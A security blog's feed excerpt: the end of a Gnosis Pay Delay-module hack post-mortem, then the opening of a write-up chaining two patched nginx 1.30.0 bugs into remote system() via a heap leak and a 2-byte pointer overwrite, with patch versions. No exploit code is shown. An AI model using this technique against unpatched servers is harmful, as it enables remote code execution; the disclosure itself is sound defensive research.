src="https://substackcdn.com/image/fetch/$s_!0mjp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png" width="1456" height="229" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:229,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:55607,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0mjp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png 424w, https://substackcdn.com/image/fetch/$s_!0mjp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png 848w, https://substackcdn.com/image/fetch/$s_!0mjp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png 1272w, https://substackcdn.com/image/fetch/$s_!0mjp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><ul><li><p>On Feb 27, 2026, commit <code>11708ac</code> in <code>zodiac-core</code> silently fixed the vulnerability and released <code>v4.0.0-alpha.0</code> version.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4jqb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4jqb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png 424w, https://substackcdn.com/image/fetch/$s_!4jqb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png 848w, https://substackcdn.com/image/fetch/$s_!4jqb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png 1272w, https://substackcdn.com/image/fetch/$s_!4jqb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4jqb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png" width="629" height="371" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ce2063e3-179e-40c5-a21c-b6e058262963_629x371.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:371,&quot;width&quot;:629,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:39886,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4jqb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png 424w, https://substackcdn.com/image/fetch/$s_!4jqb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png 848w, https://substackcdn.com/image/fetch/$s_!4jqb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png 1272w, https://substackcdn.com/image/fetch/$s_!4jqb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce2063e3-179e-40c5-a21c-b6e058262963_629x371.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fRUm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fRUm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png 424w, https://substackcdn.com/image/fetch/$s_!fRUm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png 848w, https://substackcdn.com/image/fetch/$s_!fRUm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png 1272w, https://substackcdn.com/image/fetch/$s_!fRUm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fRUm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png" width="1228" height="113" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:113,&quot;width&quot;:1228,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:19857,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fRUm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png 424w, https://substackcdn.com/image/fetch/$s_!fRUm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png 848w, https://substackcdn.com/image/fetch/$s_!fRUm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png 1272w, https://substackcdn.com/image/fetch/$s_!fRUm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc400b0af-d48f-42e5-984e-f0f46d24762b_1228x113.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yyvg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yyvg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png 424w, https://substackcdn.com/image/fetch/$s_!yyvg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png 848w, https://substackcdn.com/image/fetch/$s_!yyvg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png 1272w, https://substackcdn.com/image/fetch/$s_!yyvg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yyvg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png" width="1428" height="379" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:379,&quot;width&quot;:1428,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:71559,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yyvg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png 424w, https://substackcdn.com/image/fetch/$s_!yyvg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png 848w, https://substackcdn.com/image/fetch/$s_!yyvg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png 1272w, https://substackcdn.com/image/fetch/$s_!yyvg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fdcc194-df94-4dfd-a14f-844ba9af5745_1428x379.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The bug still existed on production contract. The exploited on-chain source was still using the legacy <code>@gnosis.pm/zodiac</code>.</p><p>The forensic question is: <strong>Why were production Gnosis Pay Delay instances still compiled against the stale legacy </strong><code>@gnosis.pm/zodiac</code><strong> dependency, when a newer </strong><code>zodiac-core</code><strong> line existed and had already addressed this class of bug?</strong></p><h2><strong>Lessons Learned</strong></h2><ul><li><p><strong>Never trust outside code blindly.</strong> Just because code is on GitHub doesn&#8217;t mean it is safe. Always check and test other people&#8217;s code before letting it touch your money.</p></li><li><p><strong>Repository splits create security drift.</strong> When a package is extracted, renamed, or replaced, old package lines can keep dangerous code unless fixes are explicitly backported or downstream users migrate.</p></li><li><p><strong>Low-level call must check </strong><code>success</code><strong>.</strong> Revert data is not a successful signature response. A magic value inside revert data should never authorize anything.</p></li><li><p><strong>Stale deployments need active monitoring.</strong> A fixed library does not protect already deployed contracts. Teams need dependency inventory, deployed-bytecode tracking, and migration playbooks for security-sensitive modules.</p></li></ul><h2><strong>Conclusion</strong></h2><p>The Gnosis Pay hack is a very expensive lesson: security tools are only as strong as their weakest link. The Delay module was built to slow down hackers, but the attacker didn&#8217;t break the clock-they just tricked the guard into letting them pass.</p><p>A single missing check turned a loud error into a green light. In the crypto world, this is exactly the kind of tiny &#8220;oops&#8221; mistake that costs hundreds of thousands of dollars.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.verichains.io/subscribe?"><span>Subscribe now</span></a></p><p>Don&#8217;t let a small bug turn your project into the next big hack story. <strong>Hire <a href="https://verichains.io/">Verichains</a> for a full security audit.</strong> Our top security experts will find those hidden bugs, spot quiet code changes, and make sure your smart contracts are truly safe&#8212;not just pretending to be!</p>]]></content:encoded></item><item><title><![CDATA[Two bytes to RCE: chaining rift + PoolSlip into an ASLR-independent nginx 1.30.0 exploit]]></title><description><![CDATA[Chaining nginx PoolSlip (CVE-2026-9256) + Rift (CVE-2026-42945) into an ASLR-independent RCE on the stock nginx:1.30.0 image; leak + 2-byte partial overwrite to system().]]></description><link>https://blog.verichains.io/p/two-bytes-to-rce-chaining-rift-poolslip</link><guid isPermaLink="false">https://blog.verichains.io/p/two-bytes-to-rce-chaining-rift-poolslip</guid><dc:creator><![CDATA[y198]]></dc:creator><pubDate>Sat, 06 Jun 2026 07:33:14 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/8488dd20-446a-47fc-bbb6-570e3bb2f4d4_1280x720.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>TL;DR</h2><ul><li><p><strong>Target:</strong> the stock <strong>official </strong><code>nginx:1.30.0</code> Docker image (Debian 13, glibc 2.41, stripped release binary) behind an API-gateway config that contains the trigger (<code>final/nginx.conf</code>); <strong>no allocator tuning</strong>.</p></li><li><p><strong>One root cause, two bugs:</strong> the rewrite engine&#8217;s <code>is_args</code> flag is set in one pass and consumed in another. Aimed at a <code>set</code> variable it&#8217;s <strong>rift</strong> (CVE-2026-42945) &#8212; a forward heap overflow that can only write <strong>URL-safe bytes</strong>; aimed at <code>r-&gt;args</code> it&#8217;s <strong>PoolSlip</strong> (CVE-2026-9256), an <code>$args</code> heap over-read.</p></li><li><p><strong>The chain:</strong> PoolSlip leaks live <strong>libc + heap</strong> (nothing hardcoded): rift does a <strong>2-byte partial overwrite</strong> of a <code>limit_conn</code> cleanup pointer, redirecting it into a sprayed <code>ngx_pool_cleanup_t{handler=&amp;system, data=cmd}</code>, on connection teardown <code>ngx_destroy_pool</code> walks the cleanup list to <code>system(cmd)</code>.</p></li><li><p><strong>Why only 2 bytes:</strong> a full 48-bit address is URL-safe ~0.9 % of the time under ASLR; overwriting just the low 2 bytes of an <em>already-valid</em> heap pointer leaves the random high bytes untouched, so the chain is <strong>ASLR-independent</strong> with nothing hardcoded.</p></li><li><p><strong>Debian-specific work:</strong> the Ubuntu &#8220;mmap-below-libc&#8221; leak fails (Debian mmaps to the brk cluster), so libc is leaked from a <strong>libpcre pointer</strong> at <code>$args[1729]</code> instead; the release binary is <strong>stripped</strong> so gdb reads structs by <strong>raw offset</strong>; the write target is a <strong>fixpoint</strong> (<code>N=9, K=1005</code>) because the rift buffer moves with URI length.</p></li><li><p><strong>Result:</strong> remote <code>system()</code> as <code>uid=101(nginx)</code>, <strong>~90 % per fresh worker</strong>, no nginx restart.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cRuv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cRuv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png 424w, https://substackcdn.com/image/fetch/$s_!cRuv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png 848w, https://substackcdn.com/image/fetch/$s_!cRuv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png 1272w, https://substackcdn.com/image/fetch/$s_!cRuv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cRuv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png" width="1456" height="796" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:796,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:158421,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200784619?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!cRuv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png 424w, https://substackcdn.com/image/fetch/$s_!cRuv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png 848w, https://substackcdn.com/image/fetch/$s_!cRuv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png 1272w, https://substackcdn.com/image/fetch/$s_!cRuv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8264e78-1792-4058-a27a-25385286e4fe_1850x1012.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></li></ul><div><hr></div><h2>Summary</h2><p>This is &#8212; as far as I&#8217;ve found &#8212; the <strong>first public chain</strong> of two recently-disclosed nginx rewrite-engine bugs into a single <strong>ASLR-independent remote </strong><code>system()</code> on the <strong>stock official </strong><code>nginx:1.30.0</code> Docker image (Debian 13, glibc 2.41) running a realistic API-gateway config that contains the rewrite-engine trigger. Both bugs are the <em>same</em> <code>is_args</code> two-pass mismatch pointed at two sinks: <strong>PoolSlip</strong> (CVE-2026-9256, a heap over-read) leaks live <strong>libc + heap</strong>, and <strong>rift</strong> (CVE-2026-42945, a heap overflow that can only write URL-safe bytes) then does a <strong>2-byte partial overwrite</strong> of a <code>limit_conn</code> cleanup pointer so <code>ngx_destroy_pool</code>&#8216;s cleanup walk calls <code>system(cmd)</code>. Nothing is hardcoded, the worker is never restarted, and it lands <strong>~90 % per fresh worker</strong>.</p><p>Both CVEs are <strong>already patched</strong>, this writeup is a <strong>technique demonstration</strong> (that a full, ASLR-independent <code>system()</code> is <em>achievable</em>). The chain needs a config that specifically triggers the <code>is_args</code> bug. Patch regardless:</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><ul><li><p><strong><a href="https://depthfirst.com/nginx-rift">CVE-2026-42945 &#8220;rift&#8221;</a></strong> &#8212; vulnerable <code>0.6.27</code> &#8211; <code>1.30.0</code>; fixed in <code>1.30.1</code> / <code>1.31.0</code>.</p></li><li><p><strong><a href="https://my.f5.com/manage/s/article/K000161377">CVE-2026-9256 &#8220;PoolSlip&#8221;</a></strong> &#8212; vulnerable <code>0.1.17</code> &#8211; <code>1.30.1</code> (and <code>1.31.0</code>); fixed in <code>1.30.2</code> / <code>1.31.1</code>.</p></li></ul><blockquote><p><strong>Upgrade to nginx 1.30.2 (stable) or 1.31.1 (mainline)</strong>; note <code>1.30.1</code> fixes rift but is <em>still</em> vulnerable to PoolSlip, so only <code>1.30.2</code> closes both. NGINX Plus: <strong>R36 P5 / R32 P7 / R37.0.1.1</strong>.</p></blockquote><div><hr></div><p>We chain two recent nginx bugs:</p><ul><li><p><strong>CVE-2026-42945 &#8220;rift&#8221;</strong>: an <code>is_args</code> length/value heap overflow. This is our <strong>write</strong> primitive.</p></li><li><p><strong>CVE-2026-9256 &#8220;PoolSlip&#8221;</strong>: an args-inflation heap over-read. This is our <strong>info-leak</strong> 